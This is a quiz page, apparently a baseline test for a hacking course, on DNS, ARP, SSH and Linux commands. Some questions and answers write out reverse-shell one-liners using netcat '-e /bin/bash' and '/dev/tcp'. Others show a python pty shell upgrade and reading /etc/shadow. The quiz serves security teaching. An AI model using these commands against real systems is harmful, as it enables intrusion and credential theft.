HackEd Laurel Cohort Baseline Assessment Quiz

A digital illustration depicting networking concepts, with computer icons, a Linux terminal, and graphical representations of DNS and ARP protocols.

HackEd Laurel Cohort Baseline Assessment Quiz

Test your knowledge of essential networking and Linux commands with our engaging quiz designed for tech enthusiasts and professionals alike.

This quiz covers:

  • Domain Name System (DNS) resolution
  • Secure shell (SSH) commands
  • File permission management
  • Environment variables in bash
10 Questions2 MinutesCreated by CodingEagle932
When your computer resolves a domain like "yahoo.com" to an IP address, what does it query?
DNS
SMTP
HTTP
ARP
What is the secure tool that best approximates the functionality provided by a telnet server?
SSLd
FTPd
SSHd
Secure FTPd
Which best approximates the command, "nc 192.168.1.23 12366 -e /bin/bash"?
Nc -nvlp 12366 -e /bin/bash
0<&196;exec 196<>/dev/tcp/192.168.1.23/12366; sh <&196 >&196 2>&196
Telnet 192.168.1.23 12366
Wget -m -r http://192.168.1.23:12366/
Which command provides a TTY shell with environmental variables?
Grep -e "ntpd\[[[:digit:]]\+\]" /var/log/messages.4
Use POSIX qw(uname); my @uname = uname(); print $uname[0] . " " . $uname[2];
: "${DEST:?Need to set DEST non-empty}"
Python -c 'import pty;pty.spawn("/bin/bash")'
Which command reads every .txt file in the current directory and cats the content?
Cat $f in {./*.txt}
Find ./ -iname *.txt
For f in *.txt; do cat $f; done
If [ -f && $_ == "*.txt" ]; then cat $_
How do you list (and only list) every file in the current directory (including hidden files)?
Ls
Ls -a
Ls -l
Find / -iname *.*
If you want to restrict access to a linux file to read/write access for the file owner and prohibit all others from any access, what is the proper command?
Chmod 766 file.txt
Chown user:only file.txt
Chattr 766 file.txt
Chmod 600 file.txt
If you want to see if a file has the word "dump" in it, the following command works in bash:
Cat file.txt | find "dump"
Cat file.txt | grep "dump"
Find "dump" -f file.txt
Type file.txt | search "dump"
Assuming you are root on a Linux machine with a bash shell, select the answer that moves the user prompt from the current directory to "/etc" and lists the file containing passwords on a modern day Linux distribution:
Cd /etc && cat shadow
Cd /etc && type shadow
Cat /etc/passwd
Cd /etc; cat passwd
The address resolution protocol is an essential part of making modern-day TCP/IP networks work. The ARP table on a computer maps:
Ports (80) to services (http)
IP addresses to domain names
Domain names to IP addresses
IP address to MAC address
{"name":"HackEd Laurel Cohort Baseline Assessment Quiz", "url":"https://www.quiz-maker.com/QPREVIEW","txt":"Test your knowledge of essential networking and Linux commands with our engaging quiz designed for tech enthusiasts and professionals alike.This quiz covers:Domain Name System (DNS) resolutionSecure shell (SSH) commandsFile permission managementEnvironment variables in bash","img":"https:/images/course3.png"}
Powered by: Quiz Maker